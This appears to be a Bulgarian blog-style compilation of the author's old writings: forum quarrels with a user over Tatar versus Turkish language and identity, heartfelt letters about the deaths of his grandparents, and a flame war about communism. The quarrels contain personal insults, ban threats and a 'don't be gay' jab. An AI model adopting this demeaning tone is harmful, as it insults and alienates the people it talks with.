ОЩЕ ЕДНА ОБИДА И ЩЕ БЪДЕШ БАННАТ ПО АЙПИТАТА СИ! НЯМАМ НАМЕРЕНИЕ ДА ТИ ТЪРПЯ ТУКА СПАМЕНЕТО И КРЕТЕНСКИТЕ ИСТОРИИ, ЕНИЧЕР ИМБЕЦИЛ-ОГЛУ!
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Относно обръщението "еничерю" - това идва от историческото "еничери" (нова войска) - хора, които са били не-османци по народност, но са били от малки с променено народностно самосъзнание и са служили, в повечето случаи, предано и всеотдайно на Османската империя. За повече по темата - http://bg.wikipedia.org/wiki/%D0%95%D0%BD%D0%B8%D1%87%D0%B0%D1%80%D1%81%D0%BA%D0%B8_%D0%BA%D0%BE%D1%80%D0%BF%D1%83%D1%81 (http://bg.wikipedia.org/wiki/%D0%95%D0%BD%D0%B8%D1%87%D0%B0%D1%80%D1%81%D0%BA%D0%B8_%D0%BA%D0%BE%D1%80%D0%BF%D1%83%D1%81)
"Агент" е употребено в по-широкия си смисъл - "действащ" (в смисъл про- нещо си, деятел за нещо си), а не задължително в смисъла на "специален агент" ;D. Повече за тази дума - http://bg.wikipedia.org/wiki/%D0%90%D0%B3%D0%B5%D0%BD%D1%82 (http://bg.wikipedia.org/wiki/%D0%90%D0%B3%D0%B5%D0%BD%D1%82)
В днешния свят на все по-голяма глобализация вече не ме учудва, когато видя татари с турско, руско и др. самосъзнания. Това се отнася не само за татарите, разбира се. Приемам правото на самоопределение и нека всеки си се чувства такъв, какъвто намери за добре - американец, руснак, китаец, австралиец, турчин, грък...
Така че вече не съм толкова идеалист и борбен в тези отношения, та да очаквам, че всеки татарин ще е родолюбец и изцяло ще работи за развитието на своята култура, език, история...
И.И.
Пуснато на: Нед Юли 30, 2006 7:14 pm Заглавие:
Алперен. хайде да ме намериш в MSN, ако обичаш.
-
Продължавам от вчера по темата за разни постове във вече несъществуващия споменат по-горе форум.
Аз:
Хубаво си припейстнал на татарски разни неща, в които има доста истини, ама най-накрая - БУМ! Едно "рядко" на турски! Татар ли си?
It's good for you that you are pasting in Tatar some materials, where we can read some true facts, but..., what the hell, is this Turkish sh@t in the end?! Are you a Tatar?
Подчертавам, че турският език за мен, както вече споменах, е равнопоставен с останалите по света, но в онзи форум идеята беше да се пише на български и/или на татарски, а не на турски, защото беше форум за българските татари.
Същото отношение имам и към турците - ако някой е "турски олигофрен" не означава, че всички турци са глупави. Турците днес са си народ като всички останали и си имат и умни, и неумни, и учени, и добри, и лоши, и умерени, и екстремисти и пр.
Because there is some information in English, I'd like to explain it here too. 1) I wrote it long time ago. 2) It's from an ex-forum, which was aimed at the Bulgarian Tatars. That's why the adequate languages were Bulgarian or/and Tatar, not Turkish. 3) I'm not against the Turkish language. As a philosopher and a pacifist I do admit equality of all the languages in the world. 4) I'm also not against the Turkish people. In every people there are different individuals - educated, not educated, good, bad, old, young, etc.
TURKISH is not TURKIC, can you got it, Brainy?
This is very important! Turkish is one of the Turkic languages, but it's not all the Turkic languages. There are many more like: Uzbek, Kazakh, Tatar, Chuvash, etc.
С една дума ТУРСКИ не е равнозначно на ТЮРКСКИ. Да, турският принадлежи на тюркските езици, но те съвсем не се изчерпват само с него. Има много други тюркски езици като например: узкебски, казахски, татарски, чувашки и т.н.
Пак аз:
Предполагам, че говориш поредната си безсмислица, но ще ми преведеш ли какво значи това?
I suppose that you are typing one of your non-sensible sentences, but, anyway, would you be so kind to translate me what do you mean?
Сега остава да кажеш, че и английски не отбираш...
Както и преди съм писал - важно е да се знае английски, защото, както се беше изразил сполучливо един австриец - Томас, мисля че се казваше, "английският е днешното есперанто.", т.е. днешният международен език е английският.
Alperen:
konu basligi tatarlar hakkinda idi ama ilk sen yazdin, sacmaladin Ataturk pers dilini kaldirmis diye, sonra turkce yapmis.
hem ben turkce bulgaristanda her yerde konusabilirim, cunku bulgaristanin resmi ikinci dili. bulgaristande demokrasi var gibi
turkiye diyor ki cinden vienaya kadar turkce konusuluyor. millet olarak turkiye turku ve diger turkler aynidir ayni dili konusur, bir turkiye turku kirima gitse bir ayda tatarcagi ogrenir
Аз:
За реформата на Ататюрк така и не обясни...Иначе, РАЗБИРАМ ТЕ, като няма какво да отговориш и почваш на турски!
Сега те давам предложение на АНГЛИЙСКИ (АКО "НЕ ЗНАЕШ" какво е АНГЛИЙСКИ, да ти го преведа - става дума за ИНГЛИЗ-ЧЕ, ДОСТУМ!!!):
I got a suggestion for you! As far as you are unable to type in some normal Bulgarian (PROBABLY just because you don't want to do it), may we go on our discussion in English? A lot of Turkish people do speak English. Well, I can speak SOME English, too. So, what about this? And than most of the people over here will be able to understand some of your undeveloped ideas, akay ... ...!
And, please, don't EVEN try to think about Panturkish and Chinese. As I can see your knowledge is just 0 (zero), so be a nice guy, don't be gay and TRY TO TYPE IN SOME INDERSTANDABLE LANGUAGE for most of the people in BULGARIA, all right?
Относно "не бъди гей"("don't be gay") не е употребено в обиден смисъл, а в идиоматичния, разговорния английски. The "don't be gay" one is used as an idiom in English, not as an insult. More about this phrase: http://theverse.co.uk/dont-gay/ (http://theverse.co.uk/dont-gay/)
Alperen:
kurtler hakkinda konusalim bakalim
Вече споменах за "Сивите вълци" по-горе, та е обяснимо раздразнението ми, когато се насочва отновно разговора към такива крайни и терористични организации, а и пак на турски, въпреки, че форумът беше предвиден да е на български и/или татарски, по изключение на един от най-разпространените езици в света и работен за ООН - английския: БАКАЛЪМ-МАКАЛЪМ, пиши на български, бре!
Това просто изречение, не можеш ли да го "сборуваш" на български? Хайде, заради тебе, махнахме изискването да се пише на Кирилица, което може да е хубав повод на някои да се заядат и да ни изкарат анти-българи, ама поне пиши на бълг. ез.!
А и, да ти кажа, аз турски много не разбирам, та, при положение, че го адресираш до мене, какъв е смисълът?
Доста неприятности си имахме с този, както виждате.
Alperen:
dobre az sam bilgin toi ne e li shaban
Аз:
Така,
1. След още една такава глупост ще бъдеш баннат.
2. НЕ СИ МИСЛИ, ЧЕ КАТО СИ НАБУТАЛ ШОВИНИСТИЧЕСКИТЕ САЙТОВЕ ТУКА АНОНИМНО НЕ СЕ ВИДЯ, ЧЕ СИ ТИ ПО АЙПИ-то!
При положение, че имаш НИК (Алперен) и, че ИЛКИН 100 пъти ви каза, ДА СЕ РЕГИСТРИРАТЕ И ТАКА ДА ПИШЕТЕ, няма да търпя анонимните ти провокации, затова са и изтрити!
3. Отново ти казвам човешки, Б. (... ... ТИ Е ИМЕТО, НЕ СЕ ПРАВИ НА ОТНЕСЕН!). Намери ме на АЙСИКЮТО, където преди 2 години активно обменяхме мисли и ти помагах да се адаптираш към живота в България, изслушвах ти проблемите, които си имал с турците, и ти съдействах да си търсиш ИСТИНСКА татарка, и ми кажи С КАКВО СИ СЕ ЗАСЕГНАЛ ТОЛКОВА, че сега само кал и слуз хвърляш тука? Единственото, с което може да си се обидил е, че ти казах да пишеш на БЪЛГАРСКИ И НА КИРИЛИЦА!
4. Съвземи се малко и бъди по-конструктивен (ако знаеш какво значи) и дай да не правим сакатлъци! Можеш да видиш как спорихме с българина от БАН, колкото и да не бяхме на едно мнение! Не падай на нивото на най-необразованите слоеве от населението на България, все пак вишист ще ставаш след година-две!
Много ми приличаше на един Б., с който преди си говорихме по ICQ, но, от позициите на времето, като размисля, може и да не е същия човек. Въпреки това, критиките ми си остават основателни, смятам.
-
Като става дума за дядо, много хора правят асоциации с "Дядо Горио" (от Оноре дьо Балзак), "Дядо Йоцо гледа" (от Иван Вазов), детската приказка "Дядо и ряпа" и даже за Дядо Добри (http://bg.wikipedia.org/wiki/%D0%94%D1%8F%D0%B4%D0%BE_%D0%94%D0%BE%D0%B1%D1%80%D0%B8 (http://bg.wikipedia.org/wiki/%D0%94%D1%8F%D0%B4%D0%BE_%D0%94%D0%BE%D0%B1%D1%80%D0%B8) http://saintdobry.com/ (http://saintdobry.com/)).
Има обаче и тъжни, направо (на днешния етап на развитие на обществото и науката) неизбежни неща, свързани с дядовците като "дядо ми почина" ("дядо ми умря"). Аз го преживях (донякъде тежко) този момент, т.е. преди няколко години и при мен се случи дядо ми да почине. (Другият почти не го помня, почина рано, когато бях още малко дете и неговата смърт не съм я преживявал много.) Тогава написах едни по-философско произведение, което бях изпратил (вече не помня точно къде и на кого), а сега ще го споделя и в тази рубрика, която е за разни такива минали писаници.
Здрасти!!!
Ето тука по Интернета писах някои неща, които искам да ти покажа:
ПЪРВО ПИСАХ ТАКА:
"А сега да споделя нещо тежко за мене - дядо е починал. Човекът, който ми даде толкова много подкрепа в живота от всякакво естество - емоционална, материална, даже физическа, преди години! Много ми липсва и понеже това е мястото, в което съм срещнал едни от най-милите хора на България - форумчето на Емилия, искам да споделя тази много тежка болка с вас, така както съм споделял и радостите си!
Ще споделя по този повод и какви неща си мисля за смъртта, дано да са от полза на всички вас, когато някой ден неизбежно се сблъскате с този... проблем или по-скоро "естествен" ход на битието.
1. Наистина "не е честно" да умират хората. Хайде, да речем, моят дядо е голяма загуба сигурно само за мен и за още няколко човека, но какво да кажем за гениите, които си отиват от света, лишавайки ни от толкова много знания и потенциални открития - Ленин, Айнщайн, Адлер, Юнг, Гадамер, Хегел,... Просто гениални искрици във вечността, родили се, поживели и изгаснали завинаги...
2. Прави са хората, които казват, че е доста гадно да оставиш такова ценно нещо като съзнанието си на произвола на капризното тяло, което може да умре по хиляди начини, убивайки по този начин и съзнанието ти (изключваме религиозните работи, че душата после остава - не е доказано и е несигурно, макар че е много красиво и хубаво, ако е нещо такова). Някои предлагат модели като копиране на съзнанието в компютър, присаждане на мозъка в безсмъртен андроид и пр. фантастични неща, нелишени от резон.
3. Според някои религиозни хора или мистици, като умре човек и се разхожда духа му (душата му) около нас, иска да ни каже нещо, ама не го чуваме, иска да ни пипне, ама не го усещаме. Ето защо днес, колкото и да е налудно, ЗА ВСЕКИ СЛУЧАЙ (както ни е учил Б. ПАСКАЛ) му поговорих в смисъл - "Дядо, така и така, не се чуди, че ти говоря, чел съм в книги, че сигурно искаш да ме видиш, да ми кажеш нещо и пр., знай че няма начин да те чуя, но ми липсваш, ще пазя заветите и съветите ти, и ще се моля да си добре в новото си битие, ако има такова!"
Даже и да е тъпо отстрани, представете си, ако наистина хората, душите им се навъртат около нас, колко ще ги изненадаме приятно, ако им кажем, че знаем, че са около нас, даже и да не можем да ги чуем! Нали?
4. Не забравяйте, ВСЕКИ ДЕН И ПРИ ВСЯКА ВЪЗМОЖНОСТ ДА СЕ ГРИЖИТЕ ЗА ВАШИТЕ БЛИЗКИ, КОИТО ОБИЧАТЕ, ЗАЩОТО после ще съжалявате. Аз, общо взето, дадох доста на този човек, макар и не толкова, колкото той ми даде!...
5. ЕДИН НЕКРО-СТИХ, доста популярен и банален, но истински:
"Добрите хора нивга не умират,
Не се превръщат в пепел или в дим.
Но ни оставят светла диря
И път по който да вървим!"
6. Да завършим с малко хумор, пък било то и тъжен:
-Бай Иван умрял, наборе!
-Кога, ва?
-Ами че преди 4 месеца, а аз чак днес научих от горната махала!
-Ваййй, аз затова ли го срещам вече по-рядко?
-Наборе, ти знаеш ли, че Бай Иван почнал работа в Енергото?
-Как бе? Той е толкова стар!!!
-Да бе, няма да те лъжа я. Днес му видях снимката на един електрически стълб!
(Ако на някой може да му е полезно това инфо - казват, че България била една от малкото, ако не и единствената страна, в която има некролози. В другите държави не съм виждал - примерно тука, в Китай няма такова нещо. А една българка, дето беше живяла дълго време на Запад казваше, че, когато дошла, като малка в България и видяла некролози за пръв път си помислила, че това са снимки на хора, които ги издирва полицията и питала - "Мамо, защо тука има толкова много престъпници? Какво са направили?")...
От опечаления ви бате!
_________
ПОСЛЕ ЕДНО МОМИЧЕ ОТ МОНТАНА, ДЕТО СЪЩО СЕ КАЗВА ЕМИЛИЯ МИ ПИСА ТОВА:
Бате, поднасям ти най-искрените си съболезнования, защото знам колко тежко е да загубиш близък човек, когото си цянял и уважавал. Лично аз съм го изпитала многократно и знам колко боли! Не са ми останали много близки, които да уважавам и се стремя да прекарвам доста време с тях, защото смъртта не прави копромиси.
Надявам се времето и разговорите с близките да ти помогне.
_______
АЗ Й ОТГОВОРИХ ТОВА:
А, да и това е вярно. Съвет към всички депресирани по повод смърт, зарязване от любим/любима и подобни стресови положения:
- говорете с хора, гледайте телевизия, сърфирайте из нета!!! Не оставайте насаме с мислите си, защото ще бъдете като една локва със застояла вода. Колкото повече информация мине през мозъка ви, толкова по-добре. От локва, блато и пр., ще се превърнете в река, която да отмива старото и да носи новото.
_______
ЕДНО МОМЧЕ ОТ ВАРНА ПИСА ТОВА:
Моите саболезнования...няма какво да кажа освен че това е хода на нещата във този живот.Нека почива във мир!!!Знам какво е да загубиш близък и да има само болка във тебе...Вече съм се примирил със смърта и съм готов да я посрещна както трябва...без страх........
______
АЗ МУ КАЗАХ:
БЛАГОДАРЯ ЗА ВСЯКА ЕДНА думичка за дядо Г.!!! Наистина я заслужава този човек!
А животът трудно или лесно - продължава...
_____
ПОСЛЕ ЕДНО МОМИЧЕ ОТ СОФИЯ ПИСА ТОВА:
Бате,приеми и моите най-искрени съболезнования.От думите,които каза за дядо си,съм сигурна,че е бил изключителен човек.
Май само аз от тук не съм се сблъсквала със смъртта на близък човек(или поне в такава възраст,че да мога да я осъзная напълно)...все някой ден ще ми се наложи.
______
И АЗ ОТГОВОРИХ ТОВА:
Най-сърдечно благодаря! Да, беше изключителен:
-Съгласяваше се да ми партнира по тренираовките за бойнини изкуства - пускаше по някой удар, отигравахме блокове, абе направо като китайските стари даоси и будисти
-Като имах работа (а аз кога ли нямам работа) ми правеше салатки, миеше чинии, пазаруваше!...
-Като се наложи да живеем в едно село, той първи отиде, проучи, нае квартира, после имаше само една топла стая, аз спях в нея, а той спеше в по-студената. ЖЕРТВА СЕ ЧОВЕКЪТ!
-Даваше по някой лев, а последните години до Китай даже по 10-20 евро пращаше от пенсията!
-Имаше много интересни становища за живота, а и можеше да се разговаря с него и за жени, секс и пр.
МУЛТИФУНКЦИОНАЛЕН ДЯДО БЕШЕ ТОВА!
Исторически е участвал в боевете срещу немците, минавайки през Югославия и стигайки до Унгария.
Това е.
Има една доста банална мисъл : "Всичко, което се е родило, ще вземе и да умре!"... Нострадамус и др. май били предсказали, че някой ден ще се измислят лекарства за подмлдаяване и общо взето няма да мрем, понеже главната причина за умирането - остаряването, фактически си било нещо като вродена болест, а не най-естественото нещо на света. Има наука ГЕРОНТОЛОГИЯ, която се занимава с това.
Отделно, всичко е въпрос на емоции. Както ти правилно подчертаваш - била си малка, не си осъзнала. И на мене единия ми дядо /по майчина линия/ почина като бях малък. Виждал го бях само няколко пъти и единствения ми жив спомен е как ме беше прегърнал, че да не ме е страх от братовчед ми, който се опитваше да ме плаши.Отделно пък, Офидия казва, че времето помага и е много права. Това пак е свързано с емоционалността. На мене майка ми почина през 1995 и сега, 11 години по-късно, като се сетя просто ми е кофти в стил "Гле'й сега как хората си имат майка пък аз нямам!", но не е както ми е в момента за дядо ми - една огромна дупка, празнота и , все едно, че съм болен и ще умирам аз самия!
Така че проблемът на умрелите е никакъв!
а/ Ако умрелите просто изчезват, заспиват - няма проблеми.
б/ Ако пък има прераждане и се пъхват в нова обвивка на човек, животно или нещо друго - просто си живеят живота като всичко наоколо.
в/ Ако пък има Господ, Рай и пр., то те са си супер, понеже, както каза онзи моя китайския философ - "(Според религията), ако ти обичаш някой починал представи си колко повече го обича Бог (като Отец на всички нас) и ще се погрижи за него."
Проблемът обаче си е нас, че ни е мъчно, че ни лиспват, че ни боли...Затова трябва да се борим, определено, с нашето състояние.
И така ние трябва да се опитаме максимално да живеем по-дълго, за да не потапяме депресии хората около нас. Ето защо основни и лесни работи - никакви цигари, алкохоли и пр. боклуци, движение, колкото се може повече витамини и полезни вещества и по възможност - чист въздух.
------
В КИТАЙ НА ЕДИН ПОЗНАТ, КОЙТО ОТКРИВА ТУРИСТИЧЕСКА ФИРМА И МУ ПОМАГАМЕ КАЗА, ЧЕ СМЪРТТА Е СИГУРНО ПАК НЯКАКЪВ ВИД ЖИВОТ. СЪЩО КАКТО ЕДНА КОЛА, АКо Е СПРЯЛА, СИ МИСЛИМ, ЧЕ Е СПРЯЛА, НО ТЯ ВСЪЩНОСТ СЕ ДВИЖИ, ПОНЕЖЕ ЗЕМЯТА СЕ ДВИЖИ.
ЖЕНАТА НА ЗАМЕСТНИК-КМЕТА НА ГРАДА МИ КАЗА, ЧЕ СА Й УМРЕЛИ ВСИЧКИ БАБИ, ДЯДОВЦИ, МАЙКА И БАЩА, НО НИЕ ТРЯБВА ДА ПРОДЪЛЖАВАМЕ ДА ЖИВЕЕМ, ЗАЩОТО В БЪДЕЩЕТО НИ ЧАКАТ И ДОБРИ ИЗНЕНАДИ.
НА НЕЛИТО МАЙКА Й КАЗА ДА НЕ СЕ ДЕПРЕСИРАМ, ЗАЩОТО ЧОВЕКЪТ Е БИЛ И БЕЗ ТОВА СТАР. ВИКАТ, ЧЕ В КИТАЙ НЯКОЙ КАТО НАДХВЪРЛИ 70 И ГО СЧИТАТ ЗА ЩАСТЛИВО ПОЖИВЯЛ.
С това ще приключвам, защото имам да превеждам разни неща за пари.
Пак ще пиша.
Г.
Това не помня на кой съм го пращал, но добре, че съм го запазил. Някои неща даже ги бях забравил, та, добре че сега си ги припомних! Колкото до вижданията ми за "живота след смъртта" - от това, което научих досега, няма доказателства да има такива неща като прераждания, Ад, Рай, Чистилище и пр. религиозни творения, та, най-малкото, си оставам скептик.
-
Същата работа и с бабите ми. И по майчина, и по бащина линия - починаха. За едната не го преживях кой знае колко, а за другата - доста. Все пак, тя беше дала повече за мен, а и беше по-човечна, по-добра, като цяло, според моите разбирания и усещания.
Намерих едно старо писмо до тази по-любима моя баба:
Здрасти, бабо!!!
Тези дни нямахме Интернет, ама го платих за една година и вече ще имаме. Квартирата ще я сменяме на същия етаж, което улеснява преместването на багажа. Освен това там има хладилник, пералня и повече шкафове с етажерки, както и задължителния за почти всяка квартира в Китай телевизор, но лошото е, че е само една стая с баничка и един ъгъл с кухничка - около 40 квадрата само. По 200 лева на месец е наемът.
Това беше по тежкото време, когато още нямах свое жилище в Китай и се налагаше да се сменят квартири. Нямам много добри спомени от този период. На някои места доста лъжеха/мамеха с наемите/депозитите. Така че по-добре човек да си има собствено жилище. Даже и да не те мамят, то си е доста гадно да губиш пари за наеми. Аз, примерно, съм издавал пари за наеми, които ако бях спестил, сега можеше да си купя поне 1 автомобил или нещо подобно!
Иначе новината за смъртта на въпросната баба М. ме завари в една книжарница, където си търсех интересна научна литература. Няколко дена преди това в един от хотелите, където преподавах чужди езици, пък чертаех на бялата дъска (знайно е, че освен черни дъски, има и бели дъски, по които не се пише с тебешири, а с маркери) чертаех разни философски схеми с гносеологичен и онтологичен характер (нали съм си философ по образование)... И като получих тази новина, някакси ми се разтресоха за миг и дори обезсмислиха научните (научно-философските) пориви/стремления. Е, после се възстанових, пак благодарение на науката - тежко ми беше, че баба ми е умряла, но пък се задълбочих в интернет по темата за масовото измиране (масовите измирания) - http://bg.wikipedia.org/wiki/%D0%9C%D0%B0%D1%81%D0%BE%D0%B2%D0%BE_%D0%B8%D0%B7%D0%BC%D0%B8%D1%80%D0%B0%D0%BD%D0%B5 (http://bg.wikipedia.org/wiki/%D0%9C%D0%B0%D1%81%D0%BE%D0%B2%D0%BE_%D0%B8%D0%B7%D0%BC%D0%B8%D1%80%D0%B0%D0%BD%D0%B5) и това ме изведе на една по-обективна, по-безпристрастна (недепресивна) плоскост, при която погледнах на индивидуалната смърт не толкова трагично. Впечатляващо е това: "Над 99% от видовете, които някога са съществували, днес са изчезнали."http://bg.wikipedia.org/wiki/%D0%9C%D0%B0%D1%81%D0%BE%D0%B2%D0%BE_%D0%B8%D0%B7%D0%BC%D0%B8%D1%80%D0%B0%D0%BD%D0%B5 http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:CC-BY-SA_icon.svg (http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:CC-BY-SA_icon.svg)...
-
Дойде време да представя и някои ранни спорове с един Ванго. След тези спорове, трябва да отбележа, Ванго доста се поизучи и ми правеше добро впечатление как се представяше в споровете си с други хора. Нещо изгубихме връзка с него през последните години, но аз, неуморно, се опитвам да го намеря този човек. Дано пак да имаме връзка по интернета!
Сега и ще представя част от споровете ни, които съм запазил и открих наскоро:
О, Ванго, ти съвсем вече получи инкохеренция на мисълта.
"ВИЖДАМ, ЧЕ НЕЗНАЕШ, ЗА КАКВО СЕ ПИШЕ В "ЧЕРНАТА КНИГА НА КОМУНИЗМА", ИНАК НЕ БИ МЕ ПИТАЛ ГЛУПОСТИ, ОТ РОДА НА "КАК ЗАПАДА Е ПРЕБРОИЛ ЖЕРТВИТЕ НА КОМУНИЗМА":)
"
а/ Питах конкретно за Китай.
б/ Ти казваш, че си чел книгата, но не можеш да отговориш, въпреки, че си я чел, само я препоръчваш.
Как да разбираме тази поредна недомислица?
"В университет се учи само, ако си фабрикант с няколко фабрики
В УНИВЕРСИТЕТА? В КОЙ УНИВЕРСИТЕТ?.. ТИ ЗНАЕШ ЛИ КАКВО Е ИСТОРИЯ И ЛОГИКА?"
а/ Понеже се правиш на разсеян да ти припомня, че ти каза, че Макрс е имал няколко фабрики, понеже е учил в 2 университета, а без няколко фабрики в 2 университета е невъзможно, нали така?
б/ История и логика знам какво е, но ти не знаеш. Даже не знаеш, че има няколко вида логики и затова си писал думата в ед. ч., нали?
"А ТИ ОТ КЪДЕ ИМАШ ДАННИТЕ НА ЦРУ-ТО? АЗ В МРЕЖАТА НЕ СЪМ НАМЕРИЛ НИЩО! АБЕ, Я МИ КАЖИ, ТИ НАИСТИНА ЛИ СИ В КИТАЙ?
"
а/ След като се провали тотално в идеята, че ЦРУ-то не ползва материали от "Работническо дело" и "ДУМА", малкият Вангелчо реши да се усъмни, че нормалните хора имат достъп до сайта на ЦРУ. Ванчето не бил намерил в мрежата, значи нямало. Ех, откога ли хората родом от Койнаре станаха инстанция за определяне на наличното в Интернет?
б/ След като потъна в земята от срам по темите, Ванго реши да ме пита дали наистина съм в Китай. Явно за него "АЙПИ-адрес" е понятие, равнозначно на ИСТОРИЯ, т.е. пълна мъгла.
"КАТО НАПИША НА КИРИЛИЗАТОРА - ЛАТИНИ3АТОРА "МИЛИАРД" СЕ ПОЛУЧАВА "МИЛЯРД"... ПОВЕЧЕ ЗА ЛЕКСИКА НЕ МЕ ЕБАВАЙ! ТИ СЪЩО ПРАВИШ ИЗКЛЮЧИТЕЛНО МНОГО ГРЕШКИ.
"
а/ За тази цел си има ПРАВИЛА НА ПИСАНЕ НА ЛАТИНИЦА! Ти не можеш да спелнеш едно "Я"
б/ Аз и да имам - имам технически, а не правописни грешки. Но ти не знаеш разликата.
"ДА ТИ ПРИЛИЧАМ НА МАГАРЕ, ЗА ДА МЕ ВОДИШ, ВРЪЗВАШ И КАРАШ? :) НЕ ВСИЧКИ СА "ЛАБАВИ" АКЪЛНО КАТО ТЕБЕ, ДРАГИ МИ ГОШКО!
"
Лабав акълно в този форум в момента си най-вече ти, Вангелчо и понеже примитивната ти психика не може друго, тя само проецира собствените си недъзи върху опонентите. Ето, примерно, сега ти смяташ, че ЦРУ няма сайт, понеже ТИ не си го намерил, след като дълго време казваше, че ЦРУ-то пише по инерция или, че ползва материалите на "Работническо дело" и "ДУМА". През инфантилното ти мислене и за миг не е минала мисълта, че ЦРУ на английски се пише по друг начин, след което да намериш някой он-лайн речник, да си го преведеш, след което да използваш някоя търсачка и да намериш сайта. Или искаш аз да ти го дам наготово? Ами ок, но, ако ме помолиш учтиво.
"НЕ СЪМ БИЛ НИКОГА ОДЕСАРЕЦ! ПРИЗНАВАНЕТО НА МАКЕДОНИЯ ПРЕЗ 1994 БЕ НАЙ-ГОЛЯМАТА ГРЕШKА НА БЪЛГАРИЯ, СЛЕД ПРИЕМАНЕТО НА БОЛШЕВИШКИЯТ РЕЖИМ В ИСТОРИЯТА Й. А МАКЕДОНИЯ Я ПРИЗНА СДС, А НЕ ОДС."
ИСКАШ ЛИ пак да си поговорим за отношението и връзката ОДС и ВМРО-СДС ?
Болшевиките я признали, ами демократите щото ПРЕПОТВЪРДИХА БОЛШЕВИШКОТО РЕШЕНИЕ? Да не би по навик, понеже са бивши болшевики повечкото от тях и се пребоядисаха? Как мислиш?
_______
"НЕ СЪМ КАЗАЛ, ЧЕ ИДЕОЛОГИЯТА Е РАВНА НА НАСИЛИЕТО. ИДЕОЛОГИЯТА ПОРАЖДА НАСИЛИЕ И КУП ДРУГИ ЧОВЕШКИ ПСИХОЛОГИЧЕСКИ ОСОБЕНОСТТИ, КАТО ЛАБИЛНА НЕРВНА СИСТЕМА И ВИСОКА РАЗДРАЗНИМОСТ, КОИТО СЕ НАБЛЮДАВАТ ПРИ ТЕБ, ДРАГИ МИ ГОШКО!
"
1. Избегнал си въпроса за КОЛИЧЕСТВОТО, КАЧЕСТВОТО и МЯРАТА!
2. ОТНОВО ГОВОРИШ ТЪПОТИИ. Идеологията пораждала насилие и други човешки особености - ХАХАХАХАХА. Малчо, изброените неща въобще не корелират по генезис с идеологията. И си писал "РАДРАЗНИМОСТ". Какъв е този термин? Я провери! Да не си искал да кажеш, случайно, РАДРАЗНИТЕЛНОСТ? Или то пак Кирилизаторът (упс, забавих, че ти му викаш "Латинизатора") е виновен?
____________
СЪГЛАСЕН СЪМ С ТЕБ! КОМУНИЗМА Е НЯКАКВА ФАНТАСТИКА, САМИЯТ НЕГОВ БАЩА ГО Е КАЗАЛ, МАКАР И С ДУМАТА "УТОПИЯ".
"Но болестта си е болест, братле и немож му помогнá."
Ванго е като онези луди, дето си мислят, че лекарите, сестрите и санитарите са луди.
МОЖЕ:)
"като видя, че неможе да ме убори, взе да се лови за сламки - "правилна лексика"..."
Хем го оборвам системно, хем му показвам грешките, ама малчо скотомизира.
Спомняте ли си какво стана с твърденията му за Корея? А с тези за "Маркс-фабриканта" или икономическите статистики на ЦРУ, които са от "Работническо дело"?
СПОМНЯМЕ СИ, НИЩО НЕ СТАНА:)
ТИ ЧУВАЛ Л СИ ЗА "БЕДЕН УЧЕН ЕВРЕИН" И ПРИ ТОВА В ГЕРМАНИЯ??? АМИ ЧЕЛ ЛИ СИ НЕЩО ОТ ГЕРМАНИЯ ЗА ЖИВОТА НА МОРДОХАЙ ЛРВИ? КОЙ Е БИЛ БАШАТ МУ И КОЙ ВСЪЩНОСТ МУ ДАВА ПОРЪЧКА ДА НАПИШЕ НЕЩО БЛИЗКО ДО ТОМАС-МОРОВАТА "УТОПИЯ"?
"Абе Гошо, за каква правилна лексика ми говориш, при грешките на ЛАТИНИ3АТОРА, а?"
Гoворя за това, че целият форум ти се хили. Това не са грешки на никакъв латинизатор, а ТВОИ, недоучко! Как пък, да речем, пропуснатите запетайки са от латинизатора?
"ТИ СЪЩО ДОПУСКАШ ЗАПЕТАЖКИ"
АЗ ДОПУСКАМ "ЗАПЕТАЖКИ"? Как мога да допусна такова нещо? Ванго, заклевам се, че никога не съм ДОПУСКАЛ и няма да ДОПУСНА ЗАПЕТАЖКИ! :)
", БУКВИ,"
Виж за това си прав! ДОПУСКАМ БУКВИ! За да мога да пиша!
""ВЪКА" "т""
Тoва трябва да е нещо като "Запетажките"!!!...Страхотии, ужасии!...
"И ТЕМ ПОДОБНИ, НО АЗ НЕ ТИ ПРАВЯ ЗАБЕЛЕЖКА НАЛИ? ИЛИ АКО ТИ ПРАВЯ, ТИ НАГЛИЧКО Я ЗАОБИКАЛЯШ, КОГАТО ИДЕ РЕД ДА МИ ЦИТИРАШ ТЕКСТОВЕТЕ."
Не си направил. Ако беше направил ВЕДНАГА щях да ти отговоря. Че това да те обвинят, че "ДОПУСКАШ ЗАПЕТАЖКИ" си е феноменално, бе! Бих ли могъл да не отговоря?!
"АЗ ТИ КАЗАХ, ЧЕ СЪМ ЧЕЛ "ЕНЦИКЛОПЕДИЯ БРИТAНИКА" И ТИ КАЗАХ, ЧЕ ПАЗАРНИЯТ СОЦИАЛИЗЪМ ПРОСТО Е ОБЯСНЕН КАТО ЧАСТ ОТ КАПИТАЛИСТИЧЕСКИЯТ СВЯТ."
Сериозно??? Я ми дай линк към статията на Енциклопедия Британика, за да видим как е ОБЯСНЕН КАТО ЧАСТ ОТ КАПИТАЛИСТИЧЕСКИЯ СВЯТ и, тогава, обещавам, че ще ти се извиня публично и ще направя каквото поискаш с оглед на форума - примерно ще спра да пиша или ще призная някой от абсурдите ти! Или ще викам 3 пъти "Аз съм Ванго!" Абе пич, ти сайта на ЦРУ-то не можеш да намериш, чел си Енциклопедия Британика! Що говориш глупости?
"ИДЕЯ - МИСЪЛ."
Идеята е МИСЪЛ?
"МИСЪЛТА ИМА РЕАЛИСТИЧНА КОНЦЕПЦИЯ ЗА РАЗВИТИЕТО СИ"
За развитието от себе си или за развитието на съдържанието си или за развитието за себе си?
"ИЛИ ТЕОРИТИЧНА УТОПИЯ"
ТеорИтична?
А има ли ПРАКТИЧНА УТОПИЯ?
"В ЗАВИСИМОСТ НА ЛОГИКАТА НА ОБЕКТИВНОСТТА."
Как се проявява тази зависимост?
"ПОЗНАЙ В КОМУНИСТИЧЕСКАТА ИДЕОЛОГИЯ, КАКЪВ ВИД КОНЦЕПЦИИ СА ЗАЛОЧЕНИ?"
ВАНГО, КЪЛНА СЕ, ЧЕ В КОМУНИСТИЧЕСКАТА ИДЕОЛОГИЯ НИЩО НЕ Е ЗАЛОЧВАНО! Какво значи "ЗАЛОЧЕН"? Неологизъмче на Ванго?
"И АЗ ТОВА ТИ КАЗАХ ЗА ТЕБЕ, НО БАТЕ ГОШКО МАЙ ОБИЧА ДА ПАПАГАЛСТВА..."
